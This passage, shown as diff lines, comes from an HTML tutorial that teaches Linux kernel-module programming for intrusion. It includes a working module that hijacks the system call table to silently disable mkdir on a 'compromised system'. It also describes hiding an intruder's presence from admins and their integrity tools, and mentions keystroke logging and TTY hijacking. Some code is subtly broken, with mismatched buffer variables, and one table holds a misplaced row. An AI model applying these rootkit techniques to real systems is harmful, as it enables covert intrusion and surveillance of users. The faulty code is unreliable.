|
|
|
+rooted system, but the average hacker has a plenty of possibilities with the
|
|
|
+listing above. In part II you will learn how to use the systemcalls for your
|
|
|
+profit.
|
|
|
+
|
|
|
+
|
|
|
+<H3><A NAME="I.3."></A>3. What is the Kernel-Symbol-Table</h3>
|
|
|
+
|
|
|
+Ok, we understand the basic concept of systemcalls and modules. But there is
|
|
|
+another very important point we need to understand - the Kernel Symbol Table.
|
|
|
+Take a look at /proc/ksyms. Every entry in this file represents an exported
|
|
|
+(public) Kernel Symbol, which can be accessed by our LKM. Take a deep look
|
|
|
+in that file, you will find many interesting things in it. <br>
|
|
|
+This file is really very interesting, and can help us to see what our LKM can
|
|
|
+get; but there is one problem. Every Symbol used in our LKM (like a function) is
|
|
|
+also exportet to the public, and is also listed in that file. So an experienced
|
|
|
+admin could discover our little LKM and kill it.<br>
|
|
|
+There are lots of methods to prevent the admin from seeing our LKM, look at
|
|
|
+section II.<br>
|
|
|
+The methods mentioned in II can be called 'Hacks', but when you take a look at
|
|
|
+the contents of section II you won't find any reference to 'Keeping LKM Symbols
|
|
|
+out of /proc/ksyms'. The reason for not mentioning this problem in II is the
|
|
|
+following :<br>
|
|
|
+you won't need a trick to keep your module symbols away from /proc/ksyms.
|
|
|
+LKM devolopers are able to use the following piece of regular code to limit the
|
|
|
+exported symbols of their module:<br>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+static struct symbol_table module_syms= { /*we define our own symbol table !*/
|
|
|
+ #include <linux/symtab_begin.h> /*symbols we want to export, do we ?*/
|
|
|
+ ...
|
|
|
+};
|
|
|
+
|
|
|
+register_symtab(&module_syms); /*do the actual registration*/
|
|
|
+</xmp>
|
|
|
+
|
|
|
+As I said, we don't want to export any symbols to the public, so we use the
|
|
|
+following construction :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+register_symtab(NULL);
|
|
|
+</xmp>
|
|
|
+
|
|
|
+This line must be inserted in the init_module() function, remember this !
|
|
|
+
|
|
|
+
|
|
|
+<H3><A NAME="I.4."></A>4. How to transform Kernel to User Space Memory </h3>
|
|
|
+
|
|
|
+Till now this essay was very very basic and easy. Now we come to stuff
|
|
|
+more difficult (but not more advanced).<br>
|
|
|
+We have many advantages because of coding in kernel space, but we also have some
|
|
|
+disadvantages. systemcalls get their arguments from user space (systemcalls are
|
|
|
+implemented in wrappers like libc), but our LKM runs in kernel space. In section
|
|
|
+II you will see that it is very important for us to check the arguments of
|
|
|
+certain systemcalls in order to act the right way. But how can we access an
|
|
|
+argument allocated in user space from our kernel space module ?
|
|
|
+<br><i>Solution</i> : We have to make a <i>transition</i>.<br>
|
|
|
+This may sound a bit strange for non-kernel-hackers, but is really easy. Take
|
|
|
+the following systemcall :<br>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+int sys_chdir (const char *path)
|
|
|
+</xmp>
|
|
|
+
|
|
|
+Imagine the system calling it, and we intercept that call (we will learn this in
|
|
|
+section II). We want to check the path the user wants to set, so we have to
|
|
|
+access const char *path. If you try to access the path variable directly like
|
|
|
+
|
|
|
+<xmp>
|
|
|
+printk("<1>%s\n", path);
|
|
|
+</xmp>
|
|
|
+
|
|
|
+you will get <i>real</i> problems...<br>
|
|
|
+Remember you are in kernel space, you <i>cannot</i> read user space memory easily.
|
|
|
+Well in Phrack 52 you get a solution by plaguez, which is specialized for strings
|
|
|
+He uses a kernel mode function (macro) for retrieving user space memory bytes :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#include <asm/segment.h>
|
|
|
+
|
|
|
+get_user(pointer);
|
|
|
+</xmp>
|
|
|
+
|
|
|
+Giving this function a pointer to our *path location helps ous getting the bytes
|
|
|
+from user space memory to kernel space. Look at the implemtation made by plaguez
|
|
|
+for moving strings from user to kernel space:<br>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+char *strncpy_fromfs(char *dest, const char *src, int n)
|
|
|
+{
|
|
|
+ char *tmp = src;
|
|
|
+ int compt = 0;
|
|
|
+
|
|
|
+ do {
|
|
|
+ dest[compt++] = __get_user(tmp++, 1);
|
|
|
+ }
|
|
|
+ while ((dest[compt - 1] != '\0') && (compt != n));
|
|
|
+
|
|
|
+ return dest;
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+If we want to convert our *path variable we can use the following piece of kernel
|
|
|
+code :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+ char *kernel_space_path;
|
|
|
+
|
|
|
+ kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /*allocating memory
|
|
|
+ in kernel space*/
|
|
|
+ (void) strncpy_fromfs(test, path, 20); /*calling plaguez's
|
|
|
+ function*/
|
|
|
+ printk("<1>%s\n", kernel_space_path); /*now we can use
|
|
|
+ the data for whatever we
|
|
|
+ want*/
|
|
|
+ kfree(test); /*remember freeing the
|
|
|
+ memory*/
|
|
|
+</xmp>
|
|
|
+
|
|
|
+The code above works very fine. For a general transition it is too complicated;
|
|
|
+plaguez used it only for strings (the functions is made only for string copies).
|
|
|
+For normal data transitions the following function is the easiest way of doing:
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#include <asm/segment.h>
|
|
|
+void memcpy_fromfs(void *to, const void *from, unsigned long count);
|
|
|
+</xmp>
|
|
|
+
|
|
|
+
|
|
|
+Both functions are obviously based on the same kind of commands, but the second
|
|
|
+one is nearly the same as plaguez's newly defined function. I would recommand
|
|
|
+using memcpy_fromfs(...) for general data transitions and plaguez's one for
|
|
|
+string copying tasks.<br>
|
|
|
+Now we know how to convert <i>from</i> user space memory <i>to</i> kernel space. But what
|
|
|
+about the other direction ? This is a bit harder, because we cannot easily
|
|
|
+allocate user space memory from our kernel space position. If we could manage this
|
|
|
+problem we could use<br>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#include <asm/segment.h>
|
|
|
+void memcpy_tofs(void *to, const void *from, unsigned long count);
|
|
|
+</xmp>
|
|
|
+
|
|
|
+doing the actual converting. But how to allocate user space for the *to pointer?
|
|
|
+plaguez's Phrack essay gives us the best solution :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+/*we need brk systemcall*/
|
|
|
+static inline _syscall1(int, brk, void *, end_data_segment);
|
|
|
+
|
|
|
+...
|
|
|
+
|
|
|
+int ret, tmp;
|
|
|
+char *truc = OLDEXEC;
|
|
|
+char *nouveau = NEWEXEC;
|
|
|
+unsigned long mmm;
|
|
|
+
|
|
|
+mmm = current->mm->brk;
|
|
|
+ret = brk((void *) (mmm + 256));
|
|
|
+if (ret < 0)
|
|
|
+ return ret;
|
|
|
+memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
|
|
|
+</xmp>
|
|
|
+
|
|
|
+This is a very nice trick used here. current is a pointer to the task structure
|
|
|
+of the current process; mm is the pointer to the mm_struct - responsible for
|
|
|
+the memory management of that process. By using the brk-systemcall on current->
|
|
|
+mm->brk we are able to increase the size of the unused area of the datasegment.
|
|
|
+And as we all know allocating memory is done by playing with the datasegment,
|
|
|
+so by increasing the unused area size, we have allocated some piece of memory
|
|
|
+for the current process. This memory can be used for copying the kernel space
|
|
|
+memory to user space (of the current process).<br>
|
|
|
+You may wonder about the first line from the code above. This line helps us to
|
|
|
+use user space like functions in kernel space.Every user space function provided
|
|
|
+to us (like fork, brk, open, read, write, ...) is represented by a _syscall(...)
|
|
|
+macro. So we can construct the exact syscall-macro for a certain user space
|
|
|
+function (represented by a systemcall); here for brk(...).<br>
|
|
|
+See I.5 for a detailed explanation.
|
|
|
+
|
|
|
+<H3><A NAME="I.5."></A>5. Ways to use user space like functions</h3>
|
|
|
+
|
|
|
+As you saw in I.4 we used a syscall macro for constructing our own brk call,
|
|
|
+which is like the one we know from user space (->brk(2)). The truth about the
|
|
|
+user space library funtions (not all) is that they all are implemented through
|
|
|
+such syscall macros. The following code shows the _syscall1(..) macro used in
|
|
|
+I.4 to construct the brk(..) function (taken from /asm/unistd.h). <br>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#define _syscall1(type,name,type1,arg1) \
|
|
|
+type name(type1 arg1) \
|
|
|
+{ \
|
|
|
+long __res; \
|
|
|
+__asm__ volatile ("int $0x80" \
|
|
|
+ : "=a" (__res) \
|
|
|
+ : "0" (__NR_##name),"b" ((long)(arg1))); \
|
|
|
+if (__res >= 0) \
|
|
|
+ return (type) __res; \
|
|
|
+errno = -__res; \
|
|
|
+return -1; \
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+You don't need to understand this code in its full function, it just calls
|
|
|
+interrupt 0x80 with the arguments provided by the _syscall1 parameters (-> I.2).
|
|
|
+name stands for the systemcall we need (the name is expanded to __NR_name, which
|
|
|
+is defined in /asm/unistd.h). This way we implemted the brk function. Other
|
|
|
+functions with a different count of arguments are implemented through other
|
|
|
+macros (_syscallX, where X stands for the number of arguments). <br>
|
|
|
+I personally use another way of implementing functions; look at the following
|
|
|
+example :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+int (*open)(char *, int, int); /*declare a prototype*/
|
|
|
+
|
|
|
+open = sys_call_table[SYS_open]; /*you can also use __NR_open*/
|
|
|
+</xmp>
|
|
|
+
|
|
|
+This way you don't need to use any syscall macro, you just use the function
|
|
|
+pointer from the sys_call_table. While searching the web, I found that this
|
|
|
+way of contructing user space like functions is also used in the famous LKM
|
|
|
+infector by SVAT. In my opinion this is the better solution, but test it and
|
|
|
+judge yourself.<br>
|
|
|
+Be careful when supplying arguments for those systemcalls, they need them in
|
|
|
+user space not from your kernel space position. Read I.4 for ways to bring your
|
|
|
+kernel space data to user space memory.<br>
|
|
|
+A very easy way doing this (the best way in my opinion) is playing with the
|
|
|
+needed registers. You have to know that Linux uses segment selectors to
|
|
|
+differentiate between kernel space, user space and so on. Arguments used with
|
|
|
+systemcalls which were issued from user space are somewhere in the data segment
|
|
|
+selector (DS) range. [I did not mention this in I.4,because it fits more in this
|
|
|
+section.]<br>
|
|
|
+DS can be retrieved by using get_ds() from asm/segment.h. So the data used as
|
|
|
+parameters by systemcalls can only be accessed from kernel space if we set
|
|
|
+the segment selector used for the user segment by the kernel to the needed DS
|
|
|
+value. This can be done by using set_fs(...). But be careful,you have to restore
|
|
|
+FS after you accessed the argument of the systemcall. So let's look at a code
|
|
|
+fragment showing something useful :<br>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+->filename is in our kernel space; a string we just created, for example
|
|
|
+
|
|
|
+unsigned long old_fs_value=get_fs();
|
|
|
+
|
|
|
+set_fs(get_ds); /*after this we can access the user space data*/
|
|
|
+open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
|
|
|
+set_fs(old_fs_value); /*restore fs...*/
|
|
|
+</xmp>
|
|
|
+
|
|
|
+In my opinion this is the easiet / fastest way of solving the problem, but test
|
|
|
+it yourself (again).<br>
|
|
|
+Remember that the functions I showed till now (brk, open) are all implemented
|
|
|
+through a single systemcall. But there are also groups of user space functions
|
|
|
+which are summarized into one systemcall. Take a look at the listing of
|
|
|
+interesting systemcalls (I.2); the sys_socketcall, for example, implements every
|
|
|
+function concering sockets (creation, closing, sending, receiving,...). So be
|
|
|
+careful when constructing your functions; always take a look at the kernel
|
|
|
+sources.<br>
|
|
|
+
|
|
|
+<H3><A NAME="I.6."></A>6. List of daily needed Kernelspace Functions</h3>
|
|
|
+
|
|
|
+I introduced the printk(..) function in the beginning of this text. It is a
|
|
|
+function everyone can use in kernel space, it is a so called kernel function.
|
|
|
+Those functions are made for kernel developers who need complex functions which
|
|
|
+are normally only available through a library function. The following listing
|
|
|
+shows the most important kernel functions we often need :
|
|
|
+
|
|
|
+<TABLE border=5 width=100%>
|
|
|
+<tr>
|
|
|
+
|
|
|
+<th>function/macro</th>
|
|
|
+<th>description</th>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int sprintf
|
|
|
+(char *buf,
|
|
|
+const char *fmt,
|
|
|
+...);<br>
|
|
|
+int vsprintf
|
|
|
+(char *buf,
|
|
|
+const char *fmt,
|
|
|
+va_list args);<br></td>
|
|
|
+<td>functions for packing data into strings</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>printk
|
|
|
+(...)</td>
|
|
|
+<td>the same as printf in user space</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>void *memset
|
|
|
+(void *s, char c,
|
|
|
+size_t count);<br>
|
|
|
+void *memcpy
|
|
|
+(void *dest, const void
|
|
|
+*src, size_t count);<br>
|
|
|
+char *bcopy
|
|
|
+(const char *src,
|
|
|
+char *dest, int count);<br>
|
|
|
+void *memmove
|
|
|
+(void *dest, const void
|
|
|
+*src, size_t count);<br>
|
|
|
+int memcmp
|
|
|
+(const void *cs,
|
|
|
+const void *ct, size_t
|
|
|
+count);<br>
|
|
|
+void *memscan
|
|
|
+(void *addr, unsigned char
|
|
|
+c, size_t size);<br></td>
|
|
|
+<td>memory functions</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int register_symtab
|
|
|
+(struct symbol_table
|
|
|
+*intab);</td>
|
|
|
+<td>see I.1</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>char *strcpy
|
|
|
+(char *dest, const char
|
|
|
+*src);<br>
|
|
|
+char *strncpy
|
|
|
+(char *dest, const char
|
|
|
+*src, size_t count);<br>
|
|
|
+char *strcat
|
|
|
+(char *dest, const char *src);<br>
|
|
|
+char *strncat
|
|
|
+(char *dest, const char
|
|
|
+*src, size_t count);<br>
|
|
|
+int strcmp
|
|
|
+(const char *cs,
|
|
|
+const char *ct);<br>
|
|
|
+int strncmp
|
|
|
+(const char *cs,const
|
|
|
+char *ct, size_t count);<br>
|
|
|
+char *strchr
|
|
|
+(const char *s, char c);<br>
|
|
|
+size_t strlen
|
|
|
+(const char *s);<br>
|
|
|
+size_t strnlen
|
|
|
+(const char *s,
|
|
|
+size_t count);<br>
|
|
|
+size_t strspn
|
|
|
+(const char *s,
|
|
|
+const char *accept);<br>
|
|
|
+char *strpbrk
|
|
|
+(const char *cs,
|
|
|
+const char *ct);<br>
|
|
|
+char *strtok
|
|
|
+(char *s, const char *ct);<br></td>
|
|
|
+<td>string compare functions etc.</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>unsigned long
|
|
|
+simple_strtoul
|
|
|
+(const char *cp,
|
|
|
+char **endp, unsigned int
|
|
|
+base);</td>
|
|
|
+<td>converting strings to number</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>get_user_byte
|
|
|
+(addr);<br>
|
|
|
+put_user_byte
|
|
|
+(x, addr);<br>
|
|
|
+get_user_word
|
|
|
+(addr);<br>
|
|
|
+put_user_word
|
|
|
+(x, addr);<br>
|
|
|
+get_user_long
|
|
|
+(addr);<br>
|
|
|
+put_user_long
|
|
|
+(x, addr);<br></td>
|
|
|
+<td>functions for accessing user memory</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>suser();<br>
|
|
|
+fsuser();<br></td>
|
|
|
+<td>checking for SuperUser rights</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int register_chrdev
|
|
|
+(unsigned int major,
|
|
|
+const char *name,
|
|
|
+struct file_o perations
|
|
|
+*fops);<br>
|
|
|
+int unregister_chrdev
|
|
|
+(unsigned int major,
|
|
|
+const char *name);<br>
|
|
|
+int register_blkdev
|
|
|
+(unsigned int major,
|
|
|
+const char *name,
|
|
|
+struct file_o perations
|
|
|
+*fops);<br>
|
|
|
+int unregister_blkdev
|
|
|
+(unsigned int major,
|
|
|
+const char *name);<br></td>
|
|
|
+<td>functions which register device driver<br>
|
|
|
+..._chrdev -> character devices<br>
|
|
|
+..._blkdev -> block devices<br></td>
|
|
|
+</tr>
|
|
|
+</table>
|
|
|
+
|
|
|
+Please remember that some of those function may also be made available through
|
|
|
+the method mentoined in I.5. But you should understand, that it is not very
|
|
|
+useful contructing nice user space like functions, when the kernel gives them
|
|
|
+to us for free.<br>
|
|
|
+Later on you will see that these functions (especially string comaprisons) are
|
|
|
+very important for our purposes.<br>
|
|
|
+
|
|
|
+
|
|
|
+<H3><A NAME="I.7."></A>7. What is the Kernel-Daemon </h3>
|
|
|
+
|
|
|
+Finally we nearly reached the end of the basic part. Now I will explain the
|
|
|
+working of the Kernel-Daemon (/sbin/kerneld). As the name suggest this is a
|
|
|
+process in user space waiting for some action. First of all you must know that
|
|
|
+it is necessary to activite the kerneld option while building the kernel, in
|
|
|
+order to use kerneld's features. Kerneld works the following way : If the kernel
|
|
|
+wants to access a resource (in kernel space of course), which is not present
|
|
|
+at that moment, he does <i>not</i> produce an error. Instead of doing this he asks
|
|
|
+kerneld for that resource. If kerneld is able to provide the resource, it loads
|
|
|
+the required LKM and the kernel can continue working. By using this scheme it is
|
|
|
+possible to load and unload LKMs only when they are really needed / not needed.
|
|
|
+It should be clear that this work needs to be done both in user and in kernel
|
|
|
+space.<br>
|
|
|
+Kerneld exists in user space. If the kernel requests a new module this daemon
|
|
|
+receives a string from the kernel telling it which module to load.It is possible
|
|
|
+that the kenel sends a generic name (instead of the name of object file) like
|
|
|
+eth0. In this case the system need to lookup /etc/modules.conf for alias lines.
|
|
|
+Those lines match generic names to the LKM required on that system.<br>
|
|
|
+The following line says that eth0 is represented by a DEC Tulip driver LKM :<br>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+# /etc/modules.conf # or /etc/conf.modules - this differs
|
|
|
+alias eth0 tulip
|
|
|
+</xmp>
|
|
|
+
|
|
|
+This was the user space side represented by the kerneld daemon. The kernel space
|
|
|
+part is mainly represented by 4 functions. These functions are all based on
|
|
|
+a call to kerneld_send. For the exact way kerneld_send is involved by calling
|
|
|
+those functions look at linux/kerneld.h. The following table lists the 4
|
|
|
+functions mentioned above :<br>
|
|
|
+
|
|
|
+<TABLE border=5 width=100%>
|
|
|
+<tr>
|
|
|
+
|
|
|
+<th>function</th>
|
|
|
+<th>description</th>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int sprintf
|
|
|
+(char *buf,
|
|
|
+const char *fmt,
|
|
|
+...);<br>
|
|
|
+int vsprintf
|
|
|
+(char *buf,
|
|
|
+const char *fmt,
|
|
|
+va_list args);<br></td>
|
|
|
+<td>functions for packing data into strings</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int request_module
|
|
|
+(const char *name);</td>
|
|
|
+<td>says kerneld that the kernel requires a certain module (given a name or gerneric ID / name)<td>
|
|
|
+<tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int release_module
|
|
|
+(const char* name,
|
|
|
+int waitflag);</td>
|
|
|
+<td>unload a module</td>
|
|
|
+<tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int delayed_release_module
|
|
|
+(const char *name);</td>
|
|
|
+<td>delayed unload</td>
|
|
|
+<tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int cancel_release_module
|
|
|
+(const char *name);</td>
|
|
|
+<td>cancels a call of delayed_release_module</td>
|
|
|
+<tr>
|
|
|
+</table>
|
|
|
+<i>Note</i> : Kernel 2.2 uses another scheme for requesting modules. Take a look at part
|
|
|
+V.
|
|
|
+
|
|
|
+<H3><A NAME="I.8."></A>8. Creating your own Devices</h3>
|
|
|
+
|
|
|
+Appendix A introduces a TTY Hijacking util, which will use a device to log its
|
|
|
+results. So we have to look at a very basic example of a device driver.
|
|
|
+Look at the following code (this is a very basic driver, I just wrote it for
|
|
|
+demonstration, it does implement nearly no operations...) :<br>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#define MODULE
|
|
|
+#define __KERNEL__
|
|
|
+
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <asm/unistd.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <asm/fcntl.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <linux/dirent.h>
|
|
|
+#include <sys/mman.h>
|
|
|
+#include <linux/string.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+
|
|
|
+/*just a dummy for demonstration*/
|
|
|
+static int driver_open(struct inode *i, struct file *f)
|
|
|
+{
|
|
|
+ printk("<1>Open Function\n");
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+/*register every function which will be provided by our driver*/
|
|
|
+static struct file_operations fops = {
|
|
|
+NULL, /*lseek*/
|
|
|
+NULL, /*read*/
|
|
|
+NULL, /*write*/
|
|
|
+NULL, /*readdir*/
|
|
|
+NULL, /*select*/
|
|
|
+NULL, /*ioctl*/
|
|
|
+NULL, /*mmap*/
|
|
|
+driver_open, /*open, take a look at my dummy open function*/
|
|
|
+NULL, /*release*/
|
|
|
+NULL /*fsync...*/
|
|
|
+};
|
|
|
+
|
|
|
+
|
|
|
+int init_module(void)
|
|
|
+{
|
|
|
+ /*register driver with major 40 and the name driver*/
|
|
|
+ if(register_chrdev(40, "driver", &fops)) return -EIO;
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void)
|
|
|
+{
|
|
|
+ /*unregister our driver*/
|
|
|
+ unregister_chrdev(40, "driver");
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+The most important important function is register_chrdev(...) which registers
|
|
|
+our driver with the major number 40. If you want to access this driver,do the
|
|
|
+following :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+# mknode /dev/driver c 40 0
|
|
|
+
|
|
|
+# insmod driver.o
|
|
|
+</xmp>
|
|
|
+
|
|
|
+After this you can access that device (but i did not implement any functions due
|
|
|
+to lack of time...). The file_operations structure provides every function
|
|
|
+(operation) which our driver will provide to the system. As you can see I did
|
|
|
+only implement a very (!) basic dummy function just printing something.
|
|
|
+It should be clear that you can implement your own devices in a very easy way
|
|
|
+by using the methods above. Just do some experiments. If you log some data (key
|
|
|
+strokes, for example) you can build a buffer in your driver that exports its
|
|
|
+contents through the device interface).
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+<u><b>
|
|
|
+<H2>II. Fun & Profit</H2>
|
|
|
+</u></b>
|
|
|
+<P><P>
|
|
|
+
|
|
|
+
|
|
|
+<H3><A NAME="II.1."></A>1. How to intercept Syscalls</h3>
|
|
|
+
|
|
|
+Now we start abusing the LKM scheme. Normally LKMs are used to extend the kernel
|
|
|
+(especially hardware drivers). Our 'Hacks' will do something different, they
|
|
|
+will intercept systemcalls and modify them in order to change the way the system
|
|
|
+reacts on certain commands.<br>
|
|
|
+The following module makes it impossible for any user on the compromised system
|
|
|
+to create directories. This is just a little demonstration to show the way we
|
|
|
+follow.<br>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#define MODULE
|
|
|
+#define __KERNEL__
|
|
|
+
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <asm/unistd.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <asm/fcntl.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <linux/dirent.h>
|
|
|
+#include <sys/mman.h>
|
|
|
+#include <linux/string.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+
|
|
|
+extern void* sys_call_table[]; /*sys_call_table is exported, so we
|
|
|
+ can access it*/
|
|
|
+
|
|
|
+int (*orig_mkdir)(const char *path); /*the original systemcall*/
|
|
|
+
|
|
|
+
|
|
|
+int hacked_mkdir(const char *path)
|
|
|
+{
|
|
|
+ return 0; /*everything is ok, but he new systemcall
|
|
|
+ does nothing*/
|
|
|
+}
|
|
|
+
|
|
|
+int init_module(void) /*module setup*/
|
|
|
+{
|
|
|
+ orig_mkdir=sys_call_table[SYS_mkdir];
|
|
|
+ sys_call_table[SYS_mkdir]=hacked_mkdir;
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void) /*module shutdown*/
|
|
|
+{
|
|
|
+ sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal
|
|
|
+ one*/
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+Compile this module and start it (see I.1). Try to make a directory, it will
|
|
|
+not work.Because of returning 0 (standing for OK) we don't get an error message.
|
|
|
+After removing the module making directories is possible again.
|
|
|
+As you can see, we only need to change the corresponding entry in sys_call_table
|
|
|
+(see I.2) for intercepting a kernel systemcall.<br>
|
|
|
+The general approach to intercepting a systemcall is outlined in the following
|
|
|
+list :<br>
|
|
|
+<ul>
|
|
|
+
|
|
|
+<li> find your systemcall entry in sys_call_table[] (take a look at include/sys/
|
|
|
+ syscall.h)<br>
|
|
|
+<li> save the old entry of sys_call_table[X] in a function pointer (where X stands
|
|
|
+ for the systemcallnumber you want to intercept)<br>
|
|
|
+<li> save the address of the new (hacked) systemcall you defined yourself by
|
|
|
+ setting sys_call_table[X] to the needed function address<br>
|
|
|
+</ul>
|
|
|
+
|
|
|
+You will recognize that it is very useful to save the old systemcall function
|
|
|
+pointer, because you will need it in your hacked one for emulating the original
|
|
|
+call. The first question you have to face when writing a 'Hack-LKM ' is : <br>
|
|
|
+<i>'Which systemcall should I intercept'.</i><br>
|
|
|
+
|
|
|
+<H3><A NAME="II.2."></A>2. Interesting Syscalls to Intercept</h3>
|
|
|
+Perhaps you are not a 'kernel god' and you don't know every systemcall for every
|
|
|
+user space function an application or command can use. So I will give you some
|
|
|
+hints on finding your systemcalls to take control over.<br>
|
|
|
+<ol type="a">
|
|
|
+<li>read source code. On systems like Linux you can have the source code on
|
|
|
+ nearly any program a user (admin) can use. Once you have found a basic
|
|
|
+ function like dup, open, write, ... go to b<br>
|
|
|
+<li>take a look at include/sys/syscall.h (see I.2). Try to find a directly
|
|
|
+ corresponding systemcall (search for dup -> you will find SYS_dup; search
|
|
|
+ for write -> you will find SYS_write; ...). If this does not work got to c<br>
|
|
|
+<li>some calls like socket, send, receive, ... are implemented through one
|
|
|
+ systemcall - as I said before. Take a look at the include file mentioned
|
|
|
+ for related systemcalls.<br>
|
|
|
+</ol>
|
|
|
+
|
|
|
+Remember not every C-lib function is a systemcall ! Most functions are totally
|
|
|
+unrelated to any systemcalls !<br>
|
|
|
+A little more experienced hackers should take a look at the systemcall listing
|
|
|
+in I.2 which provides enough information. It should be clear that User ID management
|
|
|
+is implemented through the uid-systemcalls etc. If you really want to be sure
|
|
|
+you can also take a look at the library sources / kernel sources.<br>
|
|
|
+The hardest problem is an admin writing its own applications for checking system
|
|
|
+integrity / security. The problem concerning those programs is the lack of source
|
|
|
+code. We cannot say how this program exactly works and which systemcalls we have
|
|
|
+to intercept in order to hide our presents / tools. It may even be possible that
|
|
|
+he introduced a LKM hiding itself which implements cool hacker-like systemcalls
|
|
|
+for checking the system security (the admins often use hacker techniques to defend
|
|
|
+their system...). So how do we proceed.<br>
|
|
|
+
|
|
|
+<H4><A NAME="II.2.1."></A>2.1 Finding interesting systemcalls (the strace approach)</h4>
|
|
|
+
|
|
|
+Let's say you know the super-admin program used to check the system (this can
|
|
|
+be done in some ways,like TTY hijacking (see II.9 / Appendix A), the only problem
|
|
|
+is that you need to hide your presents from the super-admin program until that
|
|
|
+point..).<br>
|
|
|
+So run the program (perhaps you have to be root to execute it) using strace.
|
|
|
+
|
|
|
+<xmp>
|
|
|
+# strace super_admin_proggy
|
|
|
+</xmp>
|
|
|
+
|
|
|
+This will give you a really nice output of every systemcall made by that program
|
|
|
+including the systemcalls which may be added by the admin through his hacking
|
|
|
+LKM (could be possible). I don't have a super-admin-proggy for showing you a
|
|
|
+sample output, but take a look at the output of 'strace whoami' :<vr>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0
|
|
|
+mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40007000
|
|
|
+mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
|
|
|
+mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
|
|
|
+stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0
|
|
|
+open("/etc/ld.so.cache", O_RDONLY) = 3
|
|
|
+mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
|
|
|
+close(3) = 0
|
|
|
+stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or directory)
|
|
|
+open("/lib/libc.so.5", O_RDONLY) = 3
|
|
|
+read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096
|
|
|
+mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000
|
|
|
+mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x4000c000
|
|
|
+mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x81000) = 0x4008e000
|
|
|
+mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000
|
|
|
+close(3) = 0
|
|
|
+mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
|
|
|
+munmap(0x40008000, 13363) = 0
|
|
|
+mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0
|
|
|
